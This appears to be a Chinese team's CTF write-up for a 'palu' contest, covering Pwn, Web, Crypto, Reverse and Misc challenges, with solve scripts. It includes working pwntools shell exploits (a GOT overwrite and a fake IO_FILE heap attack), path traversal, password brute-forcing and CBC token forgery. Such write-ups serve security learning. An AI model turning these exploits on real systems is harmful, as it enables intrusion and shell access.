招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组)
Pwn
heap
read_name有0x10的溢出,同时show可以输入负数,输入-1,-2就是name的地方,我们可以提前布置好一个三级指针,泄露出libc地址,剩下的0x10可以完成一次任意地址,got表可打,修改atoi为system,输入/bin/sh即可getshell
Echo $FLAG 获取flag
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr(size):
return u64(p.recv(size).ljust(8,b'x00'))
def get_addr64():
return u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))
def get_addr32():
return u32(p.recvuntil('xf7')[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b'/bin/shx00').__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
elf=ELF('./pwn')
p=remote('challenge.',31670)
#p = process('./pwn')
rl('what's you name')
sl(p64(0x602018)*4+p64(0x602060)+p64(0x0000000100000068))
heap_list=0x6020E0
def add(size):
sla('choice:',str(1))
sla('size:',str(size))
def show(i):
sla('choice:',str(2))
sla('index:',str(i))
def edit(i,content):
sla('choice:',str(3))
sla('index:',str(i))
rl('content:')
sl(content)
add(0x68)
add(0x68)
add(0x68)
show(-1)
libc_base=get_addr(6)-libc.sym['puts']
li(hex(libc_base))
system,bin_sh=get_sb()
ogg=libc_base+0xf03a4
edit(0,p64(system))
#bug()
sla('choice:',b'/bin/shx00')
inter()
codex
漏洞在于memcpy可以利用负数绕过,通过覆盖 top chunk 的 size 字段,利用输入极大值使 top chunk 被释放至 unsorted bin,借助 show 函数泄露堆地址与 libc 地址;利用 memcpy 伪造 tcache entry 结构与堆上 io_file 结构体,将堆分配至_IO_list_all 处覆盖为伪造的 io_file 地址,最终通过 exit 触发执行伪造的 vtable 函数,调用 system (‘/bin/sh’) 获取 shell。
Echo $FLAG 获取flag
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr(size):
return u64(p.recv(size).ljust(8,b'x00'))
def get_addr64():
return u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))
def get_addr32():
return u32(p.recvuntil('xf7')[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b'/bin/shx00').__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
def menu(choice):
sla(b'choice >', str(choice).encode())
def create_item(index, size, content):
menu(1)
sla(b'slot [0-15]:', str(index))
sla(b'size [1-336]:', str(size))
sla(b'forbidden:', content)
def display_item(index):
menu(3)
sla(b'index [0-15]:', str(index))
def copy_item(dst, src, length):
menu(2)
sla(b'Target monolith:', str(dst))
sla(b'Source monolith:', str(src))
sla(b' mirror:', str(length))
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.9_amd64/libc.so.6')
elf=ELF('./pwn')
p = process('./pwn')
#p=remote('challenge.',30670)
create_item(0,0x100,(b'a'*0x78+p64(0xbe0)).ljust(0xcc,b'b').ljust(0x100, b'x00'))
create_item(1,0x77,b'1')
copy_item(1,0,-0x100)
menu('0'*0x1000)
create_item(2,0x10,b'a'*7)
display_item(2)
libc_base = get_addr64() - 2208208
li(hex(libc_base))
create_item(3,0x10,b'a'*0xf)
copy_item(2,3,0x10)
display_item(2)
rl(b'an')
heap_base = u64(p.recv(6).ljust(8,b'x00')) - 0x420
li(hex(heap_base))
arr = [0]*0x40
arr[0]= 1
res = b''
for x in range(0x40):
res+=p16(arr[x])
pay = res + p64(libc_base+libc.sym['_IO_list_all'])
create_item(4,0x150,pay)
create_item(5,0x120,b'b'*0xef)
create_item(6,0x10,b'1')
copy_item(0,6,-0x208)
fake_io_addr = heap_base + 0x720
li(f'fake io address: {hex(fake_io_addr)}')
system = libc_base + libc.sym['system']
IO_wfile_jumps = libc.sym['_IO_wfile_jumps'] + libc_base
A = fake_io_addr+0x40
B = fake_io_addr+0xe8+0x40-0x68
fake_IO = b' sh'
fake_IO = fake_IO.ljust(0x28,b'x00')
fake_IO += p64(1)
fake_IO = fake_IO.ljust(0x88,b'x00')
fake_IO += p64(fake_io_addr)
fake_IO = fake_IO.ljust(0xa0,b'x00')
fake_IO += p64(A)
fake_IO = fake_IO.ljust(0xd8,b'x00')
fake_IO += p64(IO_wfile_jumps)
fake_IO += p64(0)+p64(0)+b'x00'*0x30
fake_IO += p64(B)
fake_IO += p64(system)
create_item(7,0x150,fake_IO)
create_item(8,0x10,p64(fake_io_addr))
menu(4)
inter()
Web
CatBank
|
|
CatNet
http://localhost/admin
ezblog
看jar包发现没有有用的信息,唯一有用的就是有个backdoor的路由:
@Mapping('/backdoor')
public String backdoor(@Param('key') String key) {
if ('********'.equals(key)) {
String flag = System.getenv('FLAG');
return 'flag is ' + flag;
} else {
return 'you are god';
}
}
其中这个密钥是不知道的,但是App.class里面有个assets/路由会重定向到/app/assets,并且没有过滤。
开环境进行测试:
发现有一个可查看路由。
发现可以正常读取,然后看看能不能目录穿越:
发现加个 .可以看到当前目录文件。那么返回上级目录看/app里面的内容。
发现可以文件读取,直接去题目容器里面访问,自动下载了:
服务端的key是正常显示的,带去backdoor路由,获得flag:
猫猫的秘密
查看原发,发现源码中存在/get_secret路由里面存在flag,但是获得flag需要验证身份信息,只需要把username改成admin就可以,最后抓包修改得到flag
Crypto
星际广播站
登陆页面看js有任意附件下载,下载后看app.py源码,用户初始密码的生成的种子是固定的,直接可以跑出来密码
username = '10'
random.seed(username)
characters = string.ascii_letters + string.digits
password = ''.join(random.choices(characters, k=6))
print(password)
用户名10 密码XNgfid
登陆后能看到e是113
源码里还有users.db里面有明文m
接下来批量登录去拿113组密文c,进行crt的广播攻击就行
import sqlite3
from bs4 import BeautifulSoup
import requests
import random
import string
from tqdm import trange
from Crypto.Util.number import *
from gmpy2 import iroot
def crt (n_list ,c_list):
N = 1
for i in n_list:
N *= i
sum = 0
for i in range(len(n_list)) :
m = N // n_list[i]
sum += m * c_list[i] * inverse(m,n_list[i])
sum %= N
return sum%N
E = 113
db_path = 'users.db'
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
query = f'SELECT n FROM users'
cursor.execute(query)
res = cursor.fetchall()
conn.close()
n = [int(row[0]) for row in res][:E]
c = []
url = 'http://challenge.:32011/login'
for i in trange(1, E+1):
username = str(i)
random.seed(username)
characters = string.ascii_letters + string.digits
password = ''.join(random.choices(characters, k=6))
payload = {
'username': username,
'password_hash': password
}
response = requests.post(url, data=payload)
soup = BeautifulSoup(response.text, 'html.parser')
c_value_span = soup.find('span', class_='data-value')
c.append(int(c_value_span.text.strip()))
m = iroot(crt(n,c),E)[0]
print(long_to_bytes(m))
100%|██████████| 113/113 [00:29<00:00, 3.80it/s]
b’palu{ad1a70f525014edead8cb886fc07698a}’
欧几里得
from Crypto.Util.number import *
c = 1426774899479339414711783875769670405758108494041927642533743607154735397076811133205075799614352194241060726689487117802867974494099614371033282640015883625484033889861
for i in range(256):
for j in range(256):
n = bytes_to_long(long_to_bytes(i * 256 + j) * 35)
flag = long_to_bytes(abs(c - n))
if b'palu' in flag:
print(flag)
易如反掌
N = []
E = []
a = [[0] * 5for _ in range(5)]
M = N[0]
a[0][0] = M
for i, e in enumerate(E):
a[0][i+1] = e
for i, n in enumerate(N):
a[i+1][i+1] = -(n**2)
Mat = matrix(ZZ, a)
Mat_LLL = Mat.LLL()
d = abs(Mat_LLL[0][0]) // M
print(d)
flag = 'paluctf{' + hashlib.md5(str(d)[].encode()).hexdigest() + '}'
print(flag)
# palu{b1fc01a38bae760451bcffe777e51b1d}
文件查看器
BLOCK_SIZE = 16
def pkcs7_pad(data, block_size):
padding_len = block_size - (len(data) % block_size)
padding = bytes([padding_len] * padding_len)
return data + padding
def xor_bytes(b1, b2):
return bytes(x ^ y for x, y in zip(b1, b2))
auth_token = '27c86bd43b61039f68c4b9bb7db683b507ee33a496094625e47ce7af4c5f26da'
A = auth_token[:32]
C_old = pkcs7_pad(':guest'.encode(), BLOCK_SIZE)
B = xor_bytes(bytes.fromhex(A), C_old)
C_new = pkcs7_pad(':admin'.encode(), BLOCK_SIZE)
new_token = xor_bytes(B, C_new).hex() + auth_token[32:]
print(new_token)
cbc翻转得到admin的auth_token 发包读取就行
RSA_Quartic_Quandary
import math
from gmpy2 import iroot
def recover_primes(s, m):
# 1. 计算 p^2+q^2 = T
A = s + 2*m*m
T = iroot(A,2 )[0]
# 2. 计算 p+q = S
B = T + 2*m
S = iroot(B,2 )[0]
# 3. 计算 |p-q| = D
D2 = S*S - 4*m
D = iroot(D2,2 )[0]
# 4. 恢复 p, q
p = (S + D) // 2
q = (S - D) // 2
return p, q
from Crypto.Util.number import *
s = 35935569267272146368441512592153486419244649035623643902985220815940198358146024590300394059909370115858091217597774010493938674472746828352595432824315405933241792789402041405932624651226442192749572918686958461029988244396875361295785103356745756304497466567342796329331150560777052588294638069488836419744297241409127729615544668547101580333420563318486256358906310909703237944327684178950282413703357020770127158209107658407007489563388980582632159120621869165333921661377997970334407786581024278698231418756106787058054355713472306409772260619117725561889350862414726861327985706773512963177174611689685575805282
n = 125997816345753096048865891139073286898143461169514858050232837657906289840897974068391106608902082960171083817785532702158298589600947834699494234633846206712414663927142998976208173208829799860130354978308649020815886262453865196867390105038666506017720712272359417586671917060323891124382072599746305448903
e = 65537
c = 16076213508704830809521504161524867240789661063230251272973700316524961511842110066547743812160813341691286895800830395413052502516451815705610447484880112548934311914559776633140762863945819054432492392315491109745915225117227073045171062365772401296382778452901831550773993089344837645958797206220200272941
p, q = recover_primes(s, n)
phi = (p-1) * (q-1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))
循环锁链
题目描述每个字节通过循环加密,找到起点后才能解开,且提示flag以palu{开头
将flag.enc改为.txt文件读取
c = list(open('flag.txt', 'rb').read())
print(c)#[17, 13, 25, 14, 18, 42, 116, 66, 49, 43, 37, 0, 7, 12, 22, 57, 39, 33, 3, 0, 40, 13, 39, 32, 38, 44, 25, 0, 12, 59, 4, 57, 34, 25, 82, 68, 13]
测试时发现 ord(‘p’) ^ 17 = ord(‘a’), ord(‘a’) ^ 13 = ord(‘l’),依次循环异或可以得到下一个字符,c是文件字符的十进制,最后编写脚本,逐字节异或解密即可。
c = list(open('flag.txt', 'rb').read())
print(c)#[17, 13, 25, 14, 18, 42, 116, 66, 49, 43, 37, 0, 7, 12, 22, 57, 39, 33, 3, 0, 40, 13, 39, 32, 38, 44, 25, 0, 12, 59, 4, 57, 34, 25, 82, 68, 13]
print(len(c))#37
f_bits = [ord('p')]
for i in range(37):
f_bits.append(f_bits[-1]^c[i])
print(bytes(f_bits))
轮回密码
直接对着加密写解密就行
import base64
def rotate_right(byte, step):
return ((byte >> step) | ((byte << (8 - step)) & 0xFF)) & 0xFF
def rotate_left(byte, step):
return ((byte << step) | (byte >> (8 - step))) & 0xFF
def samsara_decrypt(cipher, key_word):
cycle_step = len(key_word) % 6 + 1
phase3 = bytes([cipher[i] ^ key_word[i % len(key_word)] for i in range(len(cipher))])
phase2 = bytes([rotate_left(c, cycle_step) for c in phase3])
phase1 = base64.b85decode(phase2)
original = bytes([rotate_left(c, cycle_step) for c in phase1])
return original
if __name__ == '__main__':
cipher_str = 'y¦_6>X¬y!,!n¡mSaÜñüë9¼6'
key = b'Bore'
cipher_bytes = cipher_str.encode('latin-1')
plain = samsara_decrypt(cipher_bytes, key)
print(plain.decode())
#palu{reincarnation_cipher}
Reverse
PositionalXOR
附件里就一个bin文件,010editor打开,数据提出来直接写脚本解密
enc = 'qcoq~Vh{e~bccocH^@Lgt{gt|g'
enc_list = list(enc)
for i in range(len(enc_list)):
print(chr(ord(enc_list[i]) ^ (i + 1)), end='')
#palu{PosltionalXOR_sample}
PaluArray
UPX壳,并且好像有的标志位被删了,直接x64dbg手动脱壳,然后ida分析,根据提示字符串定位到程序的主要逻辑
// Hidden C++ exception states: #wind=2
struct CWnd *__fastcall sub_7FF61DC51DD8(CDialog *a1)
{
struct CWnd *result;// rax
struct CWnd *v3;// rdi
_QWORD *v4; // rax
void **v5; // rax
__int64 v6; // rax
void *v7; // rcx
_BYTE v8[8]; // [rsp+20h] [rbp-E0h] BYREF
_BYTE v9[40]; // [rsp+28h] [rbp-D8h] BYREF
void *Block; // [rsp+50h] [rbp-B0h] BYREF
char v11; // [rsp+58h] [rbp-A8h] BYREF
__int64 v12; // [rsp+E0h] [rbp-20h] BYREF
_BYTE v13[8]; // [rsp+E8h] [rbp-18h] BYREF
void *v14[3]; // [rsp+F0h] [rbp-10h] BYREF
unsigned __int64 n0xF; // [rsp+108h] [rbp+8h]
CDialog::OnOK(a1);
result = CWnd::GetDlgItem(a1, 1000);
v3 = result;
if ( result )
{
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v12);
CWnd::GetWindowTextW(v3, &v12);
v4 = ATL::CSimpleStringT<wchar_t,1>::CSimpleStringT<wchar_t,1>(v8, &v12);
sub_7FF61DC51994(v13, v4);
if ( ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::Compare(v13, a1145141919810) )// '1145141919810'
{
CWnd::MessageBoxW(a1, aFailed, 0, 0); // 'Failed'
}
else
{
CWnd::MessageBoxW(a1, aSuccess, 0, 0); // 'Success'
v5 = sub_7FF61DC51F6C(&Block, v12);
sub_7FF61DC52118(v14, *v5);
if ( Block != &v11 )
free(Block);
v6 = sub_7FF61DC52244(v9, v14);
sub_7FF61DC51A48(v6);
if ( n0xF > 0xF )
{
v7 = v14[0];
if ( n0xF + 1 >= 0x1000 )
{
v7 = *(v14[0] - 1);
if ( (v14[0] - v7 - 8) > 0x1F )
invalid_parameter_noinfo_noreturn();
}
operatordelete[](v7);
}
}
ATL::CSimpleStringT<wchar_t,1>::~CSimpleStringT<wchar_t,1>(v13);
return ATL::CSimpleStringT<wchar_t,1>::~CSimpleStringT<wchar_t,1>(&v12);
}
return result;
}
这里就是处理输入密文的函数,sub_7FF61DC51994函数对字符串的每个字符进行查找,在一个确定的table中
然后再看sub_7FF61DC51A48函数,有MD5,但好像是生成flag的逻辑,那么应该就是将上面解密出来的字符串输入进去,就会输出flag
解密脚本
table = 'Palu_996!?'
index = list('1145141919810')
for i in range(13):
print(table[ord(index[i]) - ord('0')], end='')
得到:aa_9a_a?a?!aP
然后运行程序输入
PaluGOGOGO
go语言,ida打开分析
主要加密逻辑
红色部分是密文,绿色部分获取的value会传入到main_complexEncrypt参与flag的加密
加密逻辑如图,value就是在外面传进来的值,n10_4是index
解密脚本
enc = [0xbf,0xb1,0xbd,0xc7,0xce,0x96,0x80,0x98,0x82,0x9a,0x7f,0xaf,0xc1,0xb3,0xbf,0xc4,0xcd]
for i in range(len(enc)):
print(chr(enc[i] - 0x4f - (i % 5)), end='')
#palu{G0G0G0_palu}
PaluFlat
ida打开附件 发现密文
加密算法是sub_401550 跟进一下
主要逻辑就是 根据奇数偶数选择对应的密钥 输入跟密钥循环异或 半字节交换 减0x55 取反
直接对着写逆向脚本即可
key1 = b'flat'
key2 = b'palu'
enc = [0x54, 0x84, 0x54, 0x44, 0xA4, 0xB2, 0x84, 0x54, 0x62, 0x32,
0x8F, 0x54, 0x62, 0xB2, 0x54, 0x03, 0x14, 0x80, 0x43]
flag = []
for i, c in enumerate(enc):
byte = ~c & 0xFF
byte = (byte + 85) % 256
byte = ((byte << 4) | (byte >> 4)) & 0xFF
if i % 2 == 0:
key = key2
else:
key = key1
k = key[i % len(key)]
flag.append(byte ^ k)
print(bytes(flag))
#b'palu{Fat_N0t_Flat!}'
Asymmetric
ida打开附件 发现65537 第一时间想到RSA
密文在下边
yafu分解一下n
直接写脚本解rsa
import libnum
from Crypto.Util.number import inverse
import gmpy2
from Crypto.Util.number import long_to_bytes
p = 3
q = 47
r = 2287
s = 3101092514893
m = 100000000000000003
n = 100000000000000106100000000000003093
phi = (p - 1) * (q - 1) * (r - 1) * (s - 1) * (m - 1)
e = 65537
d = inverse(e, phi)
c = 94846032130173601911230363560972235
m = pow(c, d, n)
print(long_to_bytes(m))
#b'palu{3a5Y_R$A}'
CatchPalu
ida打开附件 常规花 nop掉 进入main函数 有个hook函数 跟进
密文密钥如下
跟进下面的函数 发现是个魔改的RC4
写脚本解密即可
def KSA(key):
S = list(range(256))

v5 = 0
for _ in range(3):
for k in range(256):
v5 = (key[k % len(key)] + v5 + S[k]) % 233
S[k], S[v5] = S[v5], S[k]
return S
def PRGA(S):
i, j = 0, 0
whileTrue:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key, ciphertext):
cipher_bytes = bytes(ciphertext)
S = KSA(key)
keystream = PRGA(S)
return bytes([c ^ next(keystream) for c in cipher_bytes])
key = b'forpalu'
enc = [13, 176, 191, 10, 141, 47, 2, 56, 111, 25, 174, 153, 25, 199,
110, 247, 79, 203, 144, 78, 85, 142, 209, 16, 192]
flag = RC4(key, enc)
print(flag.decode())
#palu{G00d_P1au_Kn0w_H00K}
帕鲁迷宫
无语题 python的exe 3.11 解包反编译发现往下走才会给出完整地图 还有出口 直接手动走一下 得到
那么地图如下
################################
#Y# # X#
# # ############# ### # ### ## #
# # # # # # # ##
# ##### ####### ### # ### ### ##
# # # # # # # # ##
### # ### ##### # ####### # ####
# # # # # # # # ##
# ##### # ### # # ### # ##### ##
# # # # # # ##
# ######### # # ############# ##
# # # # # # ##
### # # ######### # ######### ##
# # # # # # # ##
# # # ############# # ##### # ##
# # # # # # ##
#X ## ### ### # ##### # ########
# # # # # # # # ##
### ### ######### # # # # # # ##
# # # # # # # # # # # # ##
# # ### # # # # # # # ### # # ##
# # # # # # # # # # ##
# ### ### ########### # # # # ##
# # # # # # # # ##
# ##### # ######### # # ### # ##
# # # # # # # # ##
### # ####### ####### # # ### ##
# # # # # # # # ##
# ##### # # # # ##### ##### # ##
# # # # #
#X ############ X ########### X#
################################
搓个bfs跑一下最短路径
from collections import deque
def parse_map(map_str):
map_data = map_str.strip().split('n')
rows = len(map_data)
cols = len(map_data[0]) if rows > 0 else 0
start = None
exits = []
for y in range(rows):
for x in range(cols):
if map_data[y][x] == 'Y':
start = (y, x)
elif map_data[y][x] == 'X':
exits.append((y, x))
return map_data, start, exits
def bfs(start, targets, map_data):
rows = len(map_data)
cols = len(map_data[0])
visited = {}
queue = deque([(start[0], start[1])])
visited[(start[0], start[1])] = (None, None, 0)
directions = [(-1, 0, 'w'), (1, 0, 's'), (0, -1, 'a'), (0, 1, 'd')]
found_targets = []
while queue:
y, x = queue.popleft()
current_dist = visited[(y, x)][2]
if (y, x) in targets:
found_targets.append((y, x, current_dist))
for dy, dx, move in directions:
ny, nx = y + dy, x + dx
if 0 <= ny < rows and 0 <= nx < cols:
if map_data[ny][nx] != '#' and (ny, nx) not in visited:
visited[(ny, nx)] = (y, x, current_dist + 1)
queue.append((ny, nx))
if not found_targets:
return None, None
target = min(found_targets, key=lambda x: x[2])
path = []
current = (target[0], target[1])
while True:
prev_info = visited.get(current)
if prev_info is None or prev_info[0] is None:
break
py, px = prev_info[0], prev_info[1]
dy = current[0] - py
dx = current[1] - px
if dy == 1:
move = 's'
elif dy == -1:
move = 'w'
elif dx == 1:
move = 'd'
else:
move = 'a'
path.append(move)
current = (py, px)
path.reverse()
return ''.join(path), (target[0], target[1])
def find_shortest_path(map_str):
map_data, start, exits = parse_map(map_str)
current_pos = start
remaining_exits = set(exits)
total_path = []
path_details = [] # 存储每个阶段的路径详情
while remaining_exits:
path, exit_pos = bfs(current_pos, remaining_exits, map_data)
if not path:
break
total_path.append(path)
path_details.append({
'from': current_pos,
'to': exit_pos,
'path': path,
'length': len(path)
}) current_pos = exit_pos
remaining_exits.remove(exit_pos)
# 打印每个阶段的路径
for i, segment in enumerate(path_details):
print(f'阶段 {i + 1}: 从 {segment['from']} 到 {segment['to']}')
print(f'路径: {segment['path']}')
print(f'长度: {segment['length']}n')
full_path = ''.join(total_path)
return full_path
map_str = '''
################################
#Y# # X#
# # ############# ### # ### ## #
# # # # # # # ##
# ##### ####### ### # ### ### ##
# # # # # # # # ##
### # ### ##### # ####### # ####
# # # # # # # # ##
# ##### # ### # # ### # ##### ##
# # # # # # ##
# ######### # # ############# ##
# # # # # # ##
### # # ######### # ######### ##
# # # # # # # ##
# # # ############# # ##### # ##
# # # # # # ##
#X ## ### ### # ##### # ########
# # # # # # # # ##
### ### ######### # # # # # # ##
# # # # # # # # # # # # ##
# # ### # # # # # # # ### # # ##
# # # # # # # # # # ##
# ### ### ########### # # # # ##
# # # # # # # # ##
# ##### # ######### # # ### # ##
# # # # # # # # ##
### # ####### ####### # # ### ##
# # # # # # # # ##
# ##### # # # # ##### ##### # ##
# # # # #
#X ############ X ########### X#
################################
'''
path = find_shortest_path(map_str)
print(f'完整路径: {path}')
print(f'总长度: {len(path)}')
print(f'最后四步: {path[-4:] if len(path) >= 4 else path}')
跑出来不对 猜测有多解 经过手扣发现有的地方路径不唯一 具体如下
ssssddssddwwddwwddddddddssssssssddssaaaaaaaaaawwddddwwddwwaaaassaaaaaaaassddssssa(as,sa)(sd,ds)dssssddssddssaassddssaaaaa(as,sa)(wd,dw)dddddddwwddssddwwwwddddddwwaaaaaaaaaawwwwddssddwwddssddwwwwaawwddddwwwwddddddddddwwwwaawwddwwaawwdddaaassddssaassddssssssssaawwaaaaaassssssssssssssssaaaa(as,sa)(wd,dw)ddddddddddwwddss(ds,sd)
直接写脚本算一下符合条件的每一个的md5 提交即可(从后往前第一个就是)
import re
import hashlib
from itertools import product
path_str = (
'ssssddssddwwddwwddddddddssssssssddssaaaaaaaaaawwddddwwddwwaaaassaaaaaaaassddssssa(as,sa)(sd,ds)dssssddssddssaassddssaaaaa(as,sa)(wd,dw)dddddddwwddssddwwwwddddddwwaaaaaaaaaawwwwddssddwwddssddwwwwaawwddddwwwwddddddddddwwwwaawwddwwaawwdddaaassddssaassddssssssssaawwaaaaaassssssssssssssssaaaa(as,sa)(wd,dw)ddddddddddwwddss(ds,sd)'
)
pattern = re.compile(r'(([^()]+))')
segments = []
last_index = 0
for match in pattern.finditer(path_str):
segments.append([path_str[last_index:match.start()]])
options = match.group(1).split(',')
segments.append(options)
last_index = match.end()
segments.append([path_str[last_index:]])
combinations = [''.join(p) for p in product(*segments)]
result = []
for path in combinations:
if path.endswith('ssds'):
md5_hash = hashlib.md5(path.encode()).hexdigest()
result.append((path, f'palu{{{md5_hash}}}'))
for path, md5 in result:
print(f'{md5}:n{path}n')
print(f'共匹配路径数量: {len(result)}')
路径为:ssssddssddwwddwwddddddddssssssssddssaaaaaaaaaawwddddwwddwwaaaassaaaaaaaassddssssasadsdssssddssddssaassddssaaaaasadwdddddddwwddssddwwwwddddddwwaaaaaaaaaawwwwddssddwwddssddwwwwaawwddddwwwwddddddddddwwwwaawwddwwaawwdddaaassddssaassddssssssssaawwaaaaaassssssssssssssssaaaasadwddddddddddwwddssds
flag:palu{990fd7773f450f1f13bf08a367fe95ea}
Checker
安卓 主要逻辑在so 扔ida里
跟进一下encrypto函数
加密主要是一个cbc模式的xtea 跟进一下初始化key的函数
主要是对key跟iv进行一个rc4的加密 rc4的key是DoNotHackMe
先解一下key跟iv
def KSA(key):
S = list(range(256))
v5 = 0
for k in range(256):
v5 = (key[k % len(key)] + v5 + S[k]) % 256
S[k], S[v5] = S[v5], S[k]
return S
def PRGA(S):
i, j = 0, 0
whileTrue:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key, ciphertext):
cipher_bytes = bytes(ciphertext)
S = KSA(key)
keystream = PRGA(S)
return bytes([c ^ next(keystream) for c in cipher_bytes])
key = b'DoNotHackMe'
key_enc = [0x99, 0xDD, 0x56, 0xFF, 0x6D, 0xD9, 0x55, 0x54, 0x42, 0x4D,
0x79, 0x1A, 0x34, 0xB7, 0x81, 0x2F]
iv_enc = [ 0x87, 0xC1, 0x56, 0xC0, 0x4C, 0xF4, 0x63, 0x4F]
key_xtea = RC4(key, key_enc)
iv = RC4(key, iv_enc)
print(' '.join(hex(x) for x in key_xtea))
print(' '.join(hex(y) for y in iv))
得到key:52756e74696d65537472696e67457874
iv:4c696e4b48405348
在解密cbc-xtea即可
import struct
def xtea_decrypt_block(cipher_block, key):
v5, v4 = struct.unpack('<2I', cipher_block)
key = struct.unpack('<4I', key)
sum_values = []
current_sum = 0
for i in range(32):
sum_values.append(current_sum)
key_idx = i % 4
current_sum += (key[key_idx] ^ i) - 0x61C88647
for i in reversed(range(32)):
sum_after = sum_values[i + 1] if i < 31else current_sum
key_idx = (sum_after >> 11) & 3
key_val = key[key_idx]
v4 -= (((v5 << 4) ^ (v5 >> 5)) + v5) ^ (sum_after + key_val)
v4 &= 0xFFFFFFFF
sum_before = sum_values[i]
key_idx = sum_before & 3
key_val = key[key_idx]
v5 -= (((v4 << 4) ^ (v4 >> 5)) + v4) ^ (sum_before + key_val)
v5 &= 0xFFFFFFFF
return struct.pack('<2I', v5, v4)
def cbc_decrypt(ciphertext, key, iv):
blocks = [ciphertext[i:i + 8] for i in range(0, len(ciphertext), 8)]
prev_cipher = iv
plaintext = bytearray()
for block in blocks:
decrypted = xtea_decrypt_block(block, key)
plain_block = bytes([d ^ p for d, p in zip(decrypted, prev_cipher)])
plaintext.extend(plain_block)
prev_cipher = block
return bytes(plaintext)
if __name__ == '__main__':
encrypted_data = bytes.fromhex('A90B5C1CA34188CA66D9771D78038E7ABA7BD490CD500783414A829C791DCC6F9D2F392DA2DA831B')
secret_key = bytes.fromhex('52756e74696d65537472696e67457874')
initialization_vector = bytes.fromhex('4c696e4b48405348')
try:
decrypted = cbc_decrypt(encrypted_data, secret_key, initialization_vector)
print(f'解密结果(HEX): {decrypted.hex()}')
print(f'ASCII表示: {decrypted.decode('utf-8', errors='replace')}')
except Exception as e:
print(f'解密失败: {str(e)}')
#palu{thiS_T1Me_it_seeM5_tO_8e_ReAl_te@}
Misc
几何闪烁的秘密
下载的gif直接扔随波逐流分离一下 得到100张图片
按照图形形状 将每一个图形对应的字母提取出来 如下
cGFsXttcFsdXtcGFdXtt
YXN0XJfYN0ZXfYXNZXJf
b2Zf2VvbZfZ2vb2ZZ2Vv
bWV0nI9bV0cn9bWVcnI9
解码一下解不开 但是编码一下palu{结果为
跟第一个很像 于是修改一下 第五位加一个字母d 得到
根据题目名的英文修改一下 得到flag
palu{master_of_geometry}
时间折叠(TimeFold Paradox)
打开log 提取后面的十六进制 xor一个值得到flag
bytes_data = [
0xfe, 0xef, 0xe2, 0xfb, 0xf5, 0xda, 0xe6, 0xe7, 0xfd, 0xd1,
0xe7, 0xfd, 0xd1, 0xcf, 0xd1, 0xdd, 0xef, 0xe3, 0xfe, 0xe2,
0xeb, 0xd1, 0xc8, 0xe2, 0xef, 0xe9, 0xd1, 0xcd, 0xe6, 0xef,
0xe0, 0xe9, 0xeb, 0xd1, 0xc3, 0xeb, 0xaf, 0xaf, 0xf3
]
print(bytes_data[0] ^ ord('p'))
print(bytes_data[1] ^ ord('a'))
print(bytes_data[2] ^ ord('l'))
print(bytes_data[3] ^ ord('u'))
print(bytes_data[4] ^ ord('{'))
for i in range(len(bytes_data)):
print(chr(bytes_data[i]^142),end='')
screenshot
stegsolve直接打开
时间循环的信使
打开日志 发现后面的有相同的字符对应的日志
提取一下 然后根据提示 按照时间戳排一下序 然后将他们拼接为十六进制字符串 最后解码得到flag
from typing import Tuple, List
def extract_flag_verbose(log_path: str) -> Tuple[str, str]:
entries: List[Tuple[int, str]] = []
print('📄 开始读取日志文件并筛选格式合法的行...n')
with open(log_path, 'r') as file:
for line in file:
line = line.strip()
# 跳过标记行和格式错误的行
if any(line.startswith(prefix) for prefix in ('start_of_cycle', 'end_of_cycle')) or '|' not in line:
continue
try:
timestamp_str, value = line.split('|', 1)
timestamp = int(timestamp_str)
if len(value) == 8 and all(c == value[0] for c in value):
print(f'✅ 符合条件: {timestamp} | {value}')
entries.append((timestamp, value))
else:
print(f'❌ 不符合(不是8个相同字符): {timestamp} | {value}')
except ValueError:
print(f'⚠️ 跳过无法解析的行: {line}')
continue
print('n🧮 共找到合法记录:', len(entries))
# 按时间戳升序排序
entries.sort(key=lambda x: x[0])
print('n⏳ 按时间戳排序后结果:')
